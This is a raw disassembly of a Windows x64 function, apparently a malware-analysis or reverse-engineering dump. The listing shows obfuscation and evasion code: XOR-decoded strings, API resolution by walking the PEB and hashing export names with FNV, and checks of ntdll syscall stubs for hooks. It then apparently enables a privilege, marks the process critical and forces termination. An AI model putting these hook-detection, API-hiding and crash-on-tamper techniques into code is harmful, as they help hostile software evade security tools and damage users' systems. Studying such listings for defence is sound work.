Function at 0x140376c00
Capabilities:
Get number of processors
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x708]
sub rsp, 0x808
xor r15d, r15d
mov dword [rsp + 0x28], r15d
mov rax, qword [sym.imp.ntdll.dll_NtQueryVirtualMemory]
mov qword [rbp + 0x610], rax
mov rax, qword [sym.imp.ntdll.dll_NtSetInformationProcess]
mov qword [rbp + 0x618], rax
mov rax, qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov qword [rbp + 0x620], rax
mov rax, qword [sym.imp.ntdll.dll_NtQueryInformationProcess]
mov qword [rbp + 0x628], rax
mov rax, qword [sym.imp.ntdll.dll_NtCreateThreadEx]
mov qword [rbp + 0x630], rax
mov rax, qword [sym.imp.ntdll.dll_NtTerminateProcess]
mov qword [rbp + 0x638], rax
lea r14, [rbp + 0x610]
movabs r12, 0xadabf8e08f285c5a
movabs r13, 0xee859de8bc3d5d3a
movabs r11, 0x6f366752f465de03
movabs r10, 0x82f6452a6173fdde
movabs r9, 0x5144da9ff5e4c88c
movabs r8, 0x76b69d3c17c6ed5c
movabs rdi, 0xb4d2ccfe8694583d
movabs rbx, 0xeae467dafc22d51f
movabs rdx, 0x37561c353675b660
mov rsi, qword [r14]
cmp byte [rsi], 0x4c
jne 0x140376cf5
cmp byte [rsi + 1], 0x8b
jne 0x140376cf5
cmp byte [rsi + 2], 0xd1
je 0x140377454
mov rcx, qword [0x14049bfa8]
mov qword [rsp + 0x20], r12
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x120], rax
mov qword [rsp + 0x20], r13
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x128], rax
mov qword [rsp + 0x20], rdx
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x130], rax
mov qword [rsp + 0x20], r8
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x138], rax
mov qword [rsp + 0x20], r9
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x140], rax
mov qword [rsp + 0x20], r10
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x148], rax
mov qword [rsp + 0x20], r11
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x150], rax
mov qword [rsp + 0x20], rbx
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x158], rax
mov qword [rsp + 0x20], rdi
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x160], rax
movabs rax, 0x12763d824d18abd7
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x168], rax
movabs rax, 0xded99d93da746619
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x480], rax
movabs rax, 0x8bc1c19ad94e0866
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x488], rax
movabs rax, 0x423740455901dd13
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x490], rax
movabs rax, 0x2ac5ed4c76e68528
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x498], rax
movabs rax, 0x3964f7bf9d90bded
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x4a0], rax
movabs rax, 0xe3992976120389aa
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x4a8], rax
movabs rax, 0x33551521a817bb67
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x4b0], rax
movabs rax, 0x93900ea88941b06c
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x4b8], rax
movabs rax, 0xc0bbbe8be5f12b61
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x4c0], rax
movabs rax, 0x12763df23d7b85ae
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x4c8], rax
movdqa xmm0, xmmword [rbp + 0x480]
pxor xmm0, xmmword [rbp + 0x120]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x130]
pxor xmm1, xmmword [rbp + 0x490]
movdqa xmmword [rbp + 0x130], xmm1
movdqa xmm0, xmmword [rbp + 0x140]
pxor xmm0, xmmword [rbp + 0x4a0]
movdqa xmmword [rbp + 0x140], xmm0
movdqa xmm1, xmmword [rbp + 0x150]
pxor xmm1, xmmword [rbp + 0x4b0]
movdqa xmmword [rbp + 0x150], xmm1
movdqa xmm0, xmmword [rbp + 0x160]
pxor xmm0, xmmword [rbp + 0x4c0]
movdqa xmmword [rbp + 0x160], xmm0
mov r9d, gethostname
lea r8, [rbp + 0x120]
lea rdx, [rsp + 0x68]
call fcn.140398980
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x370], xmm0
mov qword [rbp + 0x380], r15
mov qword [rbp + 0x388], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x370], 0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x48], 0
mov ebx, dword [rsp + 0x28]
or ebx, 1
mov dword [rsp + 0x28], ebx
lea r8, [rsp + 0x68]
cmp qword [rbp - 0x80], 0x10
cmovae r8, qword [rsp + 0x68]
mov r9, qword [rsp + 0x78]
xor edx, edx
lea rcx, [rsp + 0x48]
call fcn.14035ab50
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2b0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2c0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
bts ebx, 0x12
mov dword [rsp + 0x28], ebx
lea rdx, [rbp + 0x2b0]
call fcn.14035b6c0
nop
mov rdx, qword [rbp + 0x2c8]
cmp rdx, 0x10
jb 0x14037702f
inc rdx
mov rcx, qword [rbp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14037702a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14037995a
call fcn.140419458
mov qword [rbp + 0x2c0], r15
mov qword [rbp + 0x2c8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2b0], 0
test bl, 2
je 0x1403770a7
and ebx, 0xfffffffd
mov dword [rsp + 0x28], ebx
mov rdx, qword [rbp + 0x658]
cmp rdx, 0x10
jb 0x140377095
inc rdx
mov rcx, qword [rbp + 0x640]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140377090
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140379960
call fcn.140419458
mov qword [rbp + 0x658], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x640], 0
test bl, 1
je 0x140377103
and ebx, 0xfffffffe
mov dword [rsp + 0x28], ebx
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x1403770f0
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1403770eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140379966
call fcn.140419458
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x48], 0
mov byte [rbp + 0x750], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140377196
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140377196
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x93abc9af
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140377191
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140377170
cmp r8d, 0xfa8542c3
je 0x14037719b
test r9d, r9d
jne 0x140377150
mov rax, qword [rax]
jmp 0x140377120
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea r9, [rbp + 0x750]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x14]
call r10
mov dword [rsp + 0x30], 1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140377256
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140377256
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x92abc81c
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140377251
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140377230
cmp r8d, 0xfe62d3fd
je 0x14037725b
test r9d, r9d
jne 0x140377210
mov rax, qword [rax]
jmp 0x1403771e0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r9d, 4
lea r8, [rsp + 0x30]
lea edx, [r9 + 0x19]
mov rcx, 0xffffffffffffffff
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140377316
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140377316
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x95abccd5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140377311
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1403772f0
cmp r8d, 0xfb4f4797
je 0x14037731b
test r9d, r9d
jne 0x1403772d0
mov rax, qword [rax]
jmp 0x1403772a0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov edx, dword [0x7ffe0014]
mov rcx, 0xffffffffffffffff
call r8
mov ecx, 0xa
call fcn.140419954
lea rcx, [rax + 1]
call fcn.140419458
mov ecx, 4
call fcn.1404196c8
mov rbx, rax
mov edx, 4
mov rcx, rax
call fcn.140419458
mov dword [rbx], 0xa
mov ecx, 4
call fcn.1404196c8
mov rbx, rax
mov edx, 4
mov rcx, rax
call fcn.140419458
mov edx, 4
mov rcx, rbx
call fcn.140419458
mov ecx, dword [0x7ffe0014]
int 0x29
mov qword [rbp + 0x380], r15
mov qword [rbp + 0x388], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x370], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x1403773fc
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1403773f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14037996c
call fcn.140419458
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x80], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x68], 0
movabs rdx, 0x37561c353675b660
movabs rbx, 0xeae467dafc22d51f
movabs rdi, 0xb4d2ccfe8694583d
movabs r8, 0x76b69d3c17c6ed5c
movabs r9, 0x5144da9ff5e4c88c
movabs r10, 0x82f6452a6173fdde
movabs r11, 0x6f366752f465de03
cmp byte [rsi + 3], 0xb8
jne 0x140377467
cmp dword [rsi + 4], 0x1d7
jbe 0x140377b6b
mov rcx, qword [0x14049bfa8]
mov qword [rsp + 0x20], r12
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x170], rax
mov qword [rsp + 0x20], r13
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x178], rax
mov qword [rsp + 0x20], rdx
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x180], rax
mov qword [rsp + 0x20], r8
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x188], rax
mov qword [rsp + 0x20], r9
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x190], rax
mov qword [rsp + 0x20], r10
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x198], rax
mov qword [rsp + 0x20], r11
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x1a0], rax
mov qword [rsp + 0x20], rbx
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x1a8], rax
mov qword [rsp + 0x20], rdi
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x1b0], rax
movabs rax, 0x12763d824d18abd7
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x1b8], rax
movabs rax, 0xded99d93da746619
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x4d0], rax
movabs rax, 0x8bc1c19ad94e0866
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x4d8], rax
movabs rax, 0x423740455901dd13
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x4e0], rax
movabs rax, 0x2ac5ed4c76e68528
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x4e8], rax
movabs rax, 0x3964f7bf9d90bded
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x4f0], rax
movabs rax, 0xe3992976120389aa
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x4f8], rax
movabs rax, 0x33551521a817bb67
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x500], rax
movabs rax, 0x93900ea88941b06c
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x508], rax
movabs rax, 0xc0bbbe8be5f12b61
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x510], rax
movabs rax, 0x12763df23d7b85ae
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x518], rax
movdqa xmm0, xmmword [rbp + 0x4d0]
pxor xmm0, xmmword [rbp + 0x170]
movdqa xmmword [rbp + 0x170], xmm0
movdqa xmm1, xmmword [rbp + 0x180]
pxor xmm1, xmmword [rbp + 0x4e0]
movdqa xmmword [rbp + 0x180], xmm1
movdqa xmm0, xmmword [rbp + 0x190]
pxor xmm0, xmmword [rbp + 0x4f0]
movdqa xmmword [rbp + 0x190], xmm0
movdqa xmm1, xmmword [rbp + 0x1a0]
pxor xmm1, xmmword [rbp + 0x500]
movdqa xmmword [rbp + 0x1a0], xmm1
movdqa xmm0, xmmword [rbp + 0x1b0]
pxor xmm0, xmmword [rbp + 0x510]
movdqa xmmword [rbp + 0x1b0], xmm0
mov r9d, gethostname
lea r8, [rbp + 0x170]
lea rdx, [rbp - 0x58]
call fcn.140398980
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x390], xmm0
mov qword [rbp + 0x3a0], r15
mov qword [rbp + 0x3a8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x390], 0
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x60], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x78], 0
mov ebx, dword [rsp + 0x28]
or ebx, 4
mov dword [rsp + 0x28], ebx
lea r8, [rbp - 0x58]
cmp qword [rbp - 0x40], 0x10
cmovae r8, qword [rbp - 0x58]
mov r9, qword [rbp - 0x48]
xor edx, edx
lea rcx, [rbp - 0x78]
call fcn.14035ab50
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2d0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2e0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rdx, [rbp + 0x2d0]
call fcn.14035b6c0
nop
mov rdx, qword [rbp + 0x2e8]
cmp rdx, 0x10
jb 0x140377790
inc rdx
mov rcx, qword [rbp + 0x2d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14037778b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140379972
call fcn.140419458
mov qword [rbp + 0x2e0], r15
mov qword [rbp + 0x2e8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2d0], 0
test bl, 8
je 0x140377808
and ebx, 0xfffffff7
mov dword [rsp + 0x28], ebx
mov rdx, qword [rbp + 0x678]
cmp rdx, 0x10
jb 0x1403777f6
inc rdx
mov rcx, qword [rbp + 0x660]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1403777f1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140379978
call fcn.140419458
mov qword [rbp + 0x678], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x660], 0
test bl, 4
je 0x14037785f
and ebx, 0xfffffffb
mov dword [rsp + 0x28], ebx
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x14037784f
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14037784a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14037997e
call fcn.140419458
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x60], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x78], 0
mov byte [rbp + 0x758], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x1403778f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1403778f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x94abcb42
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1403778f1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1403778d0
cmp r8d, 0xb29bfcd6
je 0x1403778fb
test r9d, r9d
jne 0x1403778b0
mov rax, qword [rax]
jmp 0x140377880
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea r9, [rbp + 0x758]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x14]
call r10
mov dword [rsp + 0x34], 1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x1403779b6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1403779b6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x8fabc363
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1403779b1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140377990
cmp r8d, 0xeefd9518
je 0x1403779bb
test r9d, r9d
jne 0x140377970
mov rax, qword [rax]
jmp 0x140377940
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r9d, 4
lea r8, [rsp + 0x34]
lea edx, [r9 + 0x19]
mov rcx, 0xffffffffffffffff
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140377a76
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140377a76
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x8eabc1d0
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140377a71
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140377a50
cmp r8d, 0x555a38f2
je 0x140377a7b
test r9d, r9d
jne 0x140377a30
mov rax, qword [rax]
jmp 0x140377a00
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov edx, dword [0x7ffe0014]
mov rcx, 0xffffffffffffffff
call r8
mov ecx, 0xa
call fcn.140419954
lea rcx, [rax + 1]
call fcn.140419458
mov ecx, 4
call fcn.1404196c8
mov rbx, rax
mov edx, 4
mov rcx, rax
call fcn.140419458
mov dword [rbx], 0xa
mov ecx, 4
call fcn.1404196c8
mov rbx, rax
mov edx, 4
mov rcx, rax
call fcn.140419458
mov edx, 4
mov rcx, rbx
call fcn.140419458
mov ecx, dword [0x7ffe0014]
int 0x29
mov qword [rbp + 0x3a0], r15
mov qword [rbp + 0x3a8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x390], 0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x140377b5b
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140377b56
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140379984
call fcn.140419458
mov qword [rbp - 0x48], r15
mov qword [rbp - 0x40], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x58], 0
movabs rax, 0x17ffe03082504f6
cmp qword [rsi + 8], rax
je 0x1403782cb
mov rcx, qword [0x14049bfa8]
mov qword [rsp + 0x20], r12
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x1c0], rax
mov qword [rsp + 0x20], r13
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x1c8], rax
movabs rax, 0x37561c353675b660
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x1d0], rax
movabs rax, 0x76b69d3c17c6ed5c
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x1d8], rax
movabs rax, 0x5144da9ff5e4c88c
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x1e0], rax
movabs rax, 0x82f6452a6173fdde
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x1e8], rax
movabs rax, 0x6f366752f465de03
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x1f0], rax
movabs rax, 0xeae467dafc22d51f
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x1f8], rax
movabs rax, 0xb4d2ccfe8694583d
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x200], rax
movabs rax, 0x12763d824d18abd7
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x208], rax
movabs rax, 0xded99d93da746619
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x520], rax
movabs rax, 0x8bc1c19ad94e0866
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x528], rax
movabs rax, 0x423740455901dd13
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x530], rax
movabs rax, 0x2ac5ed4c76e68528
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x538], rax
movabs rax, 0x3964f7bf9d90bded
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x540], rax
movabs rax, 0xe3992976120389aa
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x548], rax
movabs rax, 0x33551521a817bb67
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x550], rax
movabs rax, 0x93900ea88941b06c
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x558], rax
movabs rax, 0xc0bbbe8be5f12b61
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x560], rax
movabs rax, 0x12763df23d7b85ae
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x568], rax
movdqa xmm0, xmmword [rbp + 0x1c0]
pxor xmm0, xmmword [rbp + 0x520]
movdqa xmmword [rbp + 0x1c0], xmm0
movdqa xmm1, xmmword [rbp + 0x1d0]
pxor xmm1, xmmword [rbp + 0x530]
movdqa xmmword [rbp + 0x1d0], xmm1
movdqa xmm0, xmmword [rbp + 0x1e0]
pxor xmm0, xmmword [rbp + 0x540]
movdqa xmmword [rbp + 0x1e0], xmm0
movdqa xmm1, xmmword [rbp + 0x1f0]
pxor xmm1, xmmword [rbp + 0x550]
movdqa xmmword [rbp + 0x1f0], xmm1
movdqa xmm0, xmmword [rbp + 0x200]
pxor xmm0, xmmword [rbp + 0x560]
movdqa xmmword [rbp + 0x200], xmm0
mov r9d, gethostname
lea r8, [rbp + 0x1c0]
lea rdx, [rbp - 0x18]
call fcn.140398980
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x3b0], xmm0
mov qword [rbp + 0x3c0], r15
mov qword [rbp + 0x3c8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x3b0], 0
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], r15
mov qword [rbp - 0x20], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x38], 0
mov ebx, dword [rsp + 0x28]
or ebx, 0x10
mov dword [rsp + 0x28], ebx
lea r8, [rbp - 0x18]
cmp qword [rbp], 0x10
cmovae r8, qword [rbp - 0x18]
mov r9, qword [rbp - 8]
xor edx, edx
lea rcx, [rbp - 0x38]
call fcn.14035ab50
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2f0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x300], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rdx, [rbp + 0x2f0]
call fcn.14035b6c0
nop
mov rdx, qword [rbp + 0x308]
cmp rdx, 0x10
jb 0x140377eee
inc rdx
mov rcx, qword [rbp + 0x2f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140377ee9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14037998a
call fcn.140419458
mov qword [rbp + 0x300], r15
mov qword [rbp + 0x308], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2f0], 0
test bl, 0x20
je 0x140377f66
and ebx, 0xffffffdf
mov dword [rsp + 0x28], ebx
mov rdx, qword [rbp + 0x698]
cmp rdx, 0x10
jb 0x140377f54
inc rdx
mov rcx, qword [rbp + 0x680]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140377f4f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140379990
call fcn.140419458
mov qword [rbp + 0x698], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x680], 0
